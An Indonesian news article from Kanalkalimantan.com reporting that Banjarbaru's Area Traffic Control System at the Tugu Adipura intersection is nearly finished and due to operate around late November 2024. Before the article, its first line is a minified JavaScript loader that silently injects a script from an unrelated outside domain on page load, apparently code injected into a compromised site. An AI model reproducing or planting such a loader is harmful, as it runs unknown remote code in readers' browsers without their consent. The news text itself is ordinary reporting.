(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Area Traffic Control System (ATCS) di kawasan Tugu Adipura Kota Banjarbaru siap beroperasi pada akhir November 2024 mendatang.
Sebelumnya ATCS ini dipasang oleh Dinas Perhubungan (Dishub) Kota Banjarbaru dengan sistem Smart APILL (Alat Pemberi Isyarat Lalu Lintas), letaknya ada di ruas Jalan Ahmad Yani, Jalan Pangeran Suriansyah (rumah dinas Wali Kota Banjarbaru) dan Jalan Nangka arah kolam renang Idaman.
Pembuatan perempatan bersinyal ini sudah berjalan dengan progres 100 persen. Dimana APILL yang masing-masing dipasang pada empat titik di jalan ini sudah dapat beroperasi dengan sempurna.
Hal ini disampaikan Kadishub Kota Banjarbaru Muhammad Mirhansyah, usai melakukan monitoring pengerjaan pembuatan ATCS simpang Tugu Adipura, Rabu (16/10/2024) pagi.
Baca juga: Tiga Terdakwa Kasus Korupsi Proyek Jamban Sehat HSU Disidang
“Progresnya sudah dapat dikatakan 100 persen, hanya tinggal menunggu median jalan yang memang beda pekerjaan dengan kita, tapi untuk fisik pengadaan ATCS berbasis Smart APILL ini sudah 100 persen meski ada beberapa yang harus disetting lagi,” ujar Kadishub Banjarbaru.
Dari hasil uji coba yang dilakukan Dishub bersama gabungan aparat kepolisian, semua APILL yang terpasang berjalan dengan normal, hanya ditemukan beberapa catatan.
“Jadi hari ini uji coba dan hasil evaluasi hari ini masih ada beberapa catatan terkait, salah satunya sensor speaker yang harus disambungkan ke ruang pantau masih belum sempurna,” jelas dia.
Baca juga: Desa Kamayahan Wakili HSU Penilaian PKK Provinsi Kalsel
Meski begitu kata dia, pihaknya optimis pembuatan simpang empat bersinyal dapat tepat waktu, sebab pihaknya masih memiliki waktu hingga akhir tahun 2024 untuk tenggat operasional.
“Mungkin di akhir November atau awal Desember, sambil menunggu pekerjaan pembukaan median jalan dan lainnya,” ungkapnya.
“Karena ini masih di pertengahan Oktober, maka saya pikir optimis pekerjaan ini bisa selesai tepat waktu,” sambung dia.
Terkait catatan lain, kata Mirhan, salah satunya ada titik pemberhentian Bus Trans Banjarbakula yang ada di Jalan Nangka dekat kolam renang akan dipindah ke Halte Nol Kilometer.
“Tentunya harus dipindahkan kita juga sudah bersurat ke pemerintah provinsi terkait pemindahan bus setop ke Halte Nol Kilometer. Tapi masih ada waktu, sebelum ATCS beroperasi bus setop masih dipergunakan,” jelasnya lagi.
Baca juga: Ketua TKD Prabowo-Gibran Kalsel Sulaiman Umar Digadang Masuk Kabinet
Sejumlah U-Turn atau putaran balik akan dilakukan penutupan dengan melihat manajemen rekayasa lalu lintas.
“Kita lihat dulu manajemen rekayasa seperti apa? tapi kalau dari kajian awal itu yang akan ditutup di depan PJR atau Denpom, dan di depan KFC juga akan ditutup,” tuntas Mirhan. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.